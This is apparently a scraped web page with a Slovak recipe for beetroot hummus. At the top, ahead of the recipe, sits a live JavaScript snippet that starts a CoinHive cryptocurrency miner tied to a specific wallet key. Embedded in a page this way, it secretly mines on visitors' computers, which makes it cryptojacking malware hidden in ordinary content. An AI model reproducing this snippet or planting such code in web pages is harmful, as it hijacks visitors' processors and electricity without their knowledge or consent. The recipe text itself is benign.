

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 400 g cícerovej konzervy (bez nálevu), 2 strúčiky cesnaku, 3 PL Tahini pasty, 1 väčšiu uvarenú červenú cviklu (varíme v šupke asi 1 hodinu), šťavu z 1 citróna, soľ, olivový olej

Postup: Všetky ingrediencie okrem olivového leja rozmixujeme dohľadka, naložíme do misky a pokvapkáme olivovým olejom.